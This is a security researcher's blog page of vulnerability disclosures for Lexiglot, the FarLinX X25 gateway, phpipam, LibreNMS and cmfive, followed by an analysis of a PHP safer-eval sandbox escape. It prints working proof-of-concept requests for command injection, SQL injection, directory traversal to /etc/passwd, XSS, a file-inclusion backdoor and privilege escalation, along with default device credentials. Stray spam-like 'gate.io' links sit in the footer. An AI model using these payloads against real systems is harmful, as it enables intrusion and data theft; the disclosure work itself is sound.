JAHx181 - Piwigo lexiglot multiple vulnerabilities
This advisory somehow slipped between the cracks, but hey, 4 years late is better than never...right?
About
Lexiglot is a translation platform for PHP projects developed in PHP. -- http://piwigo.org/translate
Command injection
CVE-2014-8945
The username and password fields are vulnerable to command injection when adding a new project.
POST /vvv/lexiglot/admin.php?page=projects HTTP/1.1
name=test%7Cid&svn_url=http%3A%2F%2Fhost%3A8888%2Ftest%7Cid&svn_user=test%7Cid&svn_password=test%7Cid&files=1%2C2%2C3&rank=1&category_id=&add_project=Add
HTTP/1.1 200 OK
string(53) "uid=33(www-data) gid=33(www-data) groups=33(www-data)"
SQL Injection
CVE-2014-8941
There are several SQL injection vulnerabilties in the project.
~# curl 'http://192.168.58.134/vvv/lexiglot/admin.php?page=users&from_id=-1"+union+select+"abc"+into+outfile+"/tmp/winrar"+--+-'
POST /vvv/lexiglot/admin.php?page=history HTTP/1.1
Host: 192.168.58.134
Proxy-Connection: keep-alive
Content-Length: 79
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.58.134
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/38.0.2125.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.58.134/vvv/lexiglot/admin.php
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: lexiglot_remember_me=2-1415751084-sV2wWGNLwVjAwGDxwhXcw4oemS8%3D;
ck_login_id_20=1; ck_login_language_20=en_us;
PHPSESSID=jqnd14cvtvddkf99t8d18ikr17
user_id=-1&language=-1&project=-1&status=-1&limit=1'&search=Search
Cross site request forgery
CVE-2014-8942
The identified SQL injection can be exploited through CSRF
Server side request forgery
CVE-2014-8943
The add a project page will request urls provided for a svn repository to ensure its a valid svn repository, an attacker can abuse this to make the server make requests on behalf of the attacker.
POST /vvv/lexiglot/admin.php?page=projects HTTP/1.1
name=test&svn_url=http%3A%2F%2Fhost%3A8888%2F&svn_user=test&svn_password=test&files=test&rank=1&category_id=&add_project=Add
HTTP/1.1 200 OK
string(132) "svn: OPTIONS of 'http://host:8888': Could not read
status line: connection was closed by server
(http://host:8888)"
Cross site scripting
CVE-2014-8944
There are both persistent and reflected xss in this project:
Reflected: Login with username a"><script>alert(1)</script>
Persistent: Through configuration interface, the install_name, intro_message and new_file_content parameters:
POST /vvv/lexiglot/admin.php?page=config HTTP/1.1
Host: 192.168.58.134
Proxy-Connection: keep-alive
Content-Length: 435
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.58.134
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/38.0.2125.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.58.134/vvv/lexiglot/admin.php?page=config
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie:
lexiglot_remember_me=2-1415755982-4D8DIXhWWhJEXJnq8Z%2BmNBJ%2BhSQ%3D;
ck_login_id_20=1; ck_login_language_20=en_us;
PHPSESSID=v97mnbctl9hlkc0564cgu7r034
X-FirePHP: 0.4.4
X-FirePHP-Version: 0.4.4
X-Wf-Max-Combined-Size: 262144
install_name=Lexiglot<script+src=xss>&intro_message=Welcome+on+your+new+installation+of+Lexiglot%21<script+src+xss2>&default_language=en_UK&var_name=lang&use_stats=1&use_talks=1&access_to_guest=1&allow_registration=1&allow_profile=1&user_can_add_language=1&user_default_language=own&user_default_project=all&language_default_user=all&project_default_user=all&new_file_content=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%2F%2FWAT&save_config=Save
Denial of service
CVE-2014-8937
The api/update.php url is publicly accessible and will run svn update on all registered projects which consumes significant resources and ties up a web server thread. Multiple similtaneous requests to this url will cause resource exhaustion and render the web server inaccessible.
Local credential disclosure
CVE-2014-8938
The svn update function executes with username and password as command line arguments. In shared environments other users may be able to obtain these credentials by running the ps command:
~# ps auxw | grep svn
www-data 27662 0.0 0.4 12792 3548 ? S 20:17 0:00 svn checkout http://host:8888/ ./local/test --revision HEAD --username test --password test
Local path disclosure
CVE-2014-8939
Local path is disclosed by the following urls if php is configured to display warnings: include/smarty/plugins/modifier.date_format.php
Information disclosure
CVE-2014-8940
An attacker can access the /update.log url to view all the projects that have been updated, this can be used to leverage the aforementioned DoS attack or to browse repository code as the projects are checked out to /local/projectname
. Example:
~# GET
http://localhost/vvv/lexiglot/update.log | head -1
[2014-11-08T11:58:10+01:00] rotateimage
~# GET
http://localhost/vvv/lexiglot/local/rotateimage | head -10
<title>Index of /vvv/lexiglot/local/rotateimage</title>
<img src="/icons/folder.gif" alt="[DIR]"> <a href="ar_SA/">ar_SA/</a>
Solution
Upgrade to the latest version or seek an alternative as the vendor deemed some of these issue acceptable.
JAHx164 - FarLinX X25 gateway multiple vulnerabilities
These vulnerabilities were discovered by Eldar "Wireghoul" Marcussen.
About
The FarLinX X25 Gateway is the answer for handling all your X.25 to TCP/IP migration requirements. Featuring routing between TCP and X.25, TCP and XOT, X.25 and XOT, data conversion, a Triple-X PAD, Host PAD, an extension for special POS protocols and even an X.25 switch all at a very affordable cost, the FarLinX X25 Gateway fits the bill for TCP/IP to X.25 interconnection. -- http://www.farsite.com/
Fixed username allows easier bruteforcing
The device has a default login of "admin" with the password "farlinx" and while it does allow the password to be changed the username is hardcoded in the device Apache configuration and cannot be changed.
CVE-2014-7175 - Arbitrary write
The file 'fsSaveUIPersistence.php' will write user supplied data to the file 'fsUI.xyz' with minimal changes. This can be used to place attacker controlled code on the file system. This can easily be identifiedby examining the file source:
<?php
//Receive data from client
$strReceivedata = $_REQUEST['strSubmitData'];
//replace some chars
//$strReceivedata = preg_replace("/(\r\n|\n|\r)/", "\n", $strReceivedata);
//$strReceivedata = preg_replace("/\\\/", "", $strReceivedata);
//error_log($strReceivedata);
$pFile = fopen("fsUI.xyz", "w+");
if(fwrite($pFile, $strReceivedata) == false)
{
error_log("fail to save data to file");
}
fclose($pFile);
//error_log("Finished Running PHP");
?>
CVE-2014-7174 - Multiple directory traversal
There are several php scripts based around log handling that are vulnerable to directory traversal. The following examples are provided:
curl -u admin:farlinx -k -d 'viewFilesName=../../../../../../../../etc/passwd' https://host/sysZipTranLogFileShow.php
curl -u admin:farlinx -k -d 'savefileNames=../../../../../etc/passwd' https://host/sysSaveEventLog.php
curl -u admin:farlinx -k -d 'saveFilesName=../../../../../etc/passwd' https://host/sysSaveTransacLog.php
curl -u admin:farlinx -k -d 'zipfileName=../../../../../etc/passwd' https://host/sysZipLogFileShow.php
CVE-2014-7173 - Command injection
Several command injection vulnerabilities were identified in the following scripts: sysSaveMonitorData.php, fsx25MonProxy.php, syseditdate.php, iframeupload.php and sysRestoreX25Cplt.php. The following example is provided:
curl -u admin:farlinx 'http://host/fsx25MonProxy.php?strSubmitData=start+|ifconfig'
Privilege escalation
The file /http/bin/execCmd is a setuid binary that takes a command to run with elevated privileges as a command line argument. The following example shows this in effect:
$ id
uid=99(nobody) gid=101(nobody) groups=101(nobody)
$ /http/bin/execCmd id
uid=0(root) gid=101(nobody) groups=101(nobody)
Cross Site Request Forgery
Almost everyone of the urls provided in this advisory are exploitable through CSRF. No CSRF specific proof of concept is provided beyond the urls listed above.
Posted by Eldar Marcussen | Permanent link | File under: security, exploit, bug, advisory, vulnerability, disclosure
JAHx163 - phpipam multiple vulnerabilities
These vulnerabilities were discovered by Eldar "Wireghoul" Marcussen
About
phpipam is an open-source web IP address management application. Its goal is to provide light and simple IP address management application. It is ajax-based using jQuery libraries, it uses php scripts and javascript and some HTML5/CSS3 features, so some modern browser is preferred to be able to display javascript quickly and correctly.
SQL injection
There are several cases of user supplied input used directly in SQL queries within this application allowing an attacker to divert the intended queries. The following post authentication example shows one of these:
POST /phpipam/app/tools/logs/show-logs.php HTTP/1.1
Host: 192.168.153.131
Content-Length: 81
Accept: */*
Origin: http://192.168.153.131
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.153.131/phpipam/?page=tools§ion=logs
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: Cacti=p81i8ue3o6014otc235567bng5; phpipam=3a68bpm6a8hta2gvtudnio75q5
Notice=Notice&Warning=Warning&direction=n'"ext&lastId=1+union+select+@@version+--
Blind command injection
There are several cases of command injection in this application, however the most critical one is the insecure use of the subnetId parameter in the ./app/subnets/scan/subnet-scan-telnet.php file as this file does not check for authentication.
Local file inclusion
Local file inclusions are everywhere in this application, however one redeeming fact is that files must end with .php. A more permanent backdoor can be created by using the aforementioned command injection to create a .php file on the local file system. The following example shows how an unauthenticated attacker could execute a local file include attack on such a file (/tmp/pwnt.php):
curl 'http://host/phpipam/app/dashboard/widgets/index.php?section=../../../../../../../../tmp/pwnt&c=uname+-a'
Privilege escalation
The application implements a way for administrative users to impersonate other users of the application, presumably in order to test access or troubleshoot issues. However the authorisation implementation is broken into separate parts.
app/admin/users/index.php
# verify that user is logged in
$User->check_user_session();
// switch user
if(@$_GET['subnetId']=="switch"){
$_SESSION['realipamusername'] = $_SESSION['ipamusername'];
$_SESSION['ipamusername'] = $_GET['sPage'];
print '<script>window.location.href = "'.create_link(null).'";</script>';
}
While this is an admin script, is only checks for valid user, and does not check permissions. This is included through a page that checks if current user is admin. The page cannot be accessed directly as it requires a $User object to be defined. However, when combined with the aforementioned local file inclusion it can be accessed as a non administrative user and allows setting the impersonated user to a user with higher privileges. Visiting the following url as a low privilege user will elevate privileges to the Admin account:
http://host/phpipam/?page=widgets§ion=../../../app/admin/users/index&subnetId=switch&sPage=Admin
Cross Site Request Forgery
Every form is vulnerable to CSRF, no specific examples provided.
Bonus bug: Persistent Cross Site Scripting
Older copies of this application records failed login attempts in an unsafe manner and displays this log in a log widget on the homepage of administrative users and through the log interfaces. The following example shows a PoC which could easily be modified to trigger the creation of a new admin user when executed:
As an unauthorised user, attempt to login with username xss<script>alert(1)</script>ssx and any password
Login as an administrative user and observe the alert trigger.
Posted by Eldar Marcussen | Permanent link | File under: security, exploit, bug, advisory, vulnerability, disclosure
JAHx162 - LibreNMS post auth SQL injection and information disclosure
These vulnerabilities were discovered by Eldar "Wireghoul" Marcussen
About
LibreNMS, a fully featured network monitoring system that provides a wealth of features and device support. -- http://www.librenms.org/
Information disclosure
Librenms was using a flawed regular expression to filter input given to commands, this allowed an attacker to specify command line options which can lead to information disclosure. The following examples could be used to check the version numbers of the binaries.
curl 'https://host/netcmd.php?query=--version&cmd=tracert'
curl 'https://host/netcmd.php?query=--version&cmd=whois'
curl 'https://host/netcmd.php?query=--version&cmd=ping'
SQLinjection
The network map script suffers from a blind SQL injection vulnerability, giving a binary condition which can be used to extract data. The following example urls both show two successful attacks:
curl 'https://host/network-map.php?format=svg&device=34+and+1=1'
curl 'https://host/network-map.php?format=svg&device=34+and+(select+count(username)+from+users)=5'
Affected versions
Versions 77e76793c518e504ceacd0cee2157f4260203fce and older
Posted by Eldar Marcussen | Permanent link | File under: security, bug, advisory, vulnerability, disclosure
JAHx161 - cmfive database credential disclosure
The following vulnerability was identified by Eldar "Wireghoul" Marcussen.
About
Cmfive is a php framework for creating robust and extensible business applications. It started as a micro framework which was developed by Carsten Eckelmann in 2007 in Sydney on the bus to work, lay dormant for years until it re-emerged as the foundation to the Flow Business System (https://github.com/PyramidPower/flow), which was developed in house to run a 70 people Solar Installation company. cmFive grew from the codebase of Flow, but has since then been shaped to be more modern, slimmer and ready to take on other business applications.
Source code for the framework can be found at https://github.com/2pisoftware/cmfive
CVE-2014-9702 - Informative error messages
Failure to connect to the database causes a stack trace which reveals the database connectivity details in the exception thrown from the PDO class cmfive/system/classes/DbPDO.php
on line 23. The following example shows the database user root and password toor being disclosed by shutting down the database before sending the a password reset request:
POST /vvv/cmfive/auth/forgotpassword HTTP/1.1
Host: 192.168.58.130
Proxy-Connection: keep-alive
Content-Length: 103
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.58.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.58.130/vvv/cmfive/auth/forgotpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CM5_SID=fab02g0c47aouii6ot48bp2kj1
XiQV1ll8dB=eca52b325d4bef7ff70a9513c64a7669e36af486226e07445f88bd38fe42aeb8&login=admin
HTTP/1.1 200 OK
Date: Mon, 12 Jan 2015 22:29:24 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Vary: Accept-Encoding
Content-Length: 577
Content-Type: text/html
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000] [2003] Can't connect to MySQL server on '192.168.58.130' (111)' in /var/www/vvv/cmfive/system/classes/DbPDO.php:23
Stack trace:
#0 /var/www/vvv/cmfive/system/classes/DbPDO.php(23): PDO->__construct('mysql:host=192....', 'root', 'toor', NULL)
#1 /var/www/vvv/cmfive/system/web.php(438): DbPDO->__construct(Array)
#2 /var/www/vvv/cmfive/system/web.php(201): Web->initDB()
#3 /var/www/vvv/cmfive/index.php(16): Web->start()
#4 {main}
thrown in /var/www/vvv/cmfive/system/classes/DbPDO.php on line 23
Vulnerability dumping time
As I have recently changed employers I will be releasing all the vulnerabilities I discovered on my own time while I was with BAE Systems. Some of these have been patched for a long time and some have never received vendor acknowledgement. As I no longer have access to the email addresses used for coordination I will not make any further attempts at coordinating the disclosure of these vulnerabilities besides posting them to the vendors public bugtracker if they use something like github. This also means that these advisories will not contain timelines.
As I haven't completely migrated my blog over to nb I will be posting the advisories as blog posts and space them out so I get time to edit them. If you feel the need to argue disclosure rhethoric, come find me on twitter as blog comments are closed.
Analysis of the Safer eval RCE, aka “the WAHCKON bug”
This is an analysis of a bug found by @0d4rk30 and myself. The safer eval class is an old PHP library written as an attempt to allow restricted evaluation of user supplied data. The class is no longer maintained and was never promoted as production ready. The author does not intend to fix this issue. He suggested I write about more modern ways of safely evaluation user supplied data, which I may do at some stage, but not today. I first came across the class when looking at phpReAdmin (https://github.com/billbarsch/phpReAdmin), which is one of the few projects that have adopted the class. You can grab a copy of the safer eval class and example sandbox from http://evileval.sourceforge.net/ and have a play for yourself.
The example.php provided effectively boils down to the following code:
$se = new SaferEval();
$errors = $se->checkScript($_POST['code'], 1);
To get a better understanding of how this class attempts to limit eval() lets start by looking at the checkScript()
function:
function checkScript($code, $execute) {
$this->execute = $execute;
$this->code = $code;
$this->tokens = token_get_all('<?php '.$this->code.' ?>');
$this->errors = array();
$this->braces = 0;
// STEP 1: SYNTAX - Check if braces are balanced
foreach ($this->tokens as $token) {
if ($token == '{') $this->braces = $this->braces + 1;
else if ($token == '}') $this->braces = $this->braces - 1;
if ($this->braces < 0) { // Closing brace before one is open
$this->errors[0]['name'] = 'Syntax error.';
break;
}
}
if (empty($this->errors)) {
if ($this->braces) $this->errors[0]['name'] = 'Unbalanced braces.';
}
The first part of the function splits the user supplied code into parseable tokens using the token_get_all()
function. It then proceeds to iterate over these tokens and modify the braces value by a positive or negative amount. The goal of this is to ensure there is a closing brace for every opening brace. In the event that a closing brace is found before an opening brace is found the code sets an error message and breaks out of the iteration leaving the braces value as -1. Once the iteration completes or is broken out of it checks if an error has already been set. If no error has been set it checks if braces contains a positive value (more opening than closing braces), and sets an error message if true. Otherwise (an error had already been set) the function then continues execution into STEP 2 before proceeding to STEP 3:
// STEP 2: SYNTAX - Check if syntax is valid
else if (!$this->evalSyntax($this->code)) {
$this->errors[0]['name'] = 'Syntax error.';
}
// STEP 3: EXPRESSIONS - Check against various insecure elements
if (empty($this->errors)) foreach ($this->disallowedExpressions as $disallowedExpression) {
unset($matches);
preg_match($disallowedExpression, $this->code, $matches);
if($matches) {
$this->errors[0]['name'] = 'Execution operator / variable function name / variable variable name detected.';
break;
}
}
STEP 2 tries to validate the syntax of the code if an error was set from the token parsing. Keen readers will have noticed this can only occur if there is a closing bracket before an opening bracket. Ok, lets detour into the evalSyntax functionto see what’s going on:
function evalSyntax($code) { // Separate function for checking syntax without breaking the script
ob_start(); // Catch potential parse error messages
$code = eval('if(0){' . "\n" . $code . "\n" . '}'); // Put $code in a dead code sandbox to prevent its execution
ob_end_clean();
return $code !== false;
}
This function supresses output by using ob_start()
and ob_clean()
before and after an eval call which evaluates user supplied code. It attempts to prevent the user supplied code by wrapping it inside a if(0)
condition that will never be true and should not execute the code within it’s braces. Except, this code concatinates the user supplied code within the opening and closing brace in a function call that only gets called on a code that contains a closing brace before an opening brace…
Lets visualise this with some examples:
$v = rand(1,10);
This example has a braces value of 0 and does not enter step2.
{}}}
This example has a braces value of 2, but also skips step2 as there was no early error message.
} abc
This code has a braces value of -1 and ends of being concatinated into the if statement in step2 like this:
eval('if(0){
} abc
}');
Resulting in a silent syntax error trying to parse the abc bareword and an unclosed brace. We can now leverage this to execute code:
} else { phpinfo();
It gives no output and states syntax error. Not what you expected? The reason for this is that evalSyntax supresses output and the syntax error code occurs in STEP4 as this eval call does not contain any braces before our code.
This leaves us with a few options, it is possible to blindly setup a netcat connect back shell by calling system()
, or we can explicitly flush the buffers before ob_clean()
is called. Which can easily be done by including ob_flush()
or exit()
at the end of the injected code. For example:
} echo WAHCKON; exit; {
I chose to call this the WAHCKON bug as the annual WAHCKON conference starts in Perth WA tomorrow. This marks the third year the mismatched braces in their logo has been annoying the OCD out of me. So when this bug came along with its mismatched braces at a suitable time it seemed like a good fit. I hope everyone has a great time at WAHCKON this year!
Posted by Eldar Marcussen | Permanent link | File under: security, exploit, bug, advisory, gate.io login, hacking, disclosure
Blog revamp
So after a few years of inactivity it is finally time to start blogging again.
The first proper post should follow in a few days and then it should hopefully be semi regular ongoing updates.
I'm playing with static site generators, so I expect there will be plenty of broken links, ongoing changes to layout and styles while I work around integrating the old and new content. If you spot anything broken, please let me know via twitter as I will no longer support blog comments.
The older posts can be accessed via the gateio.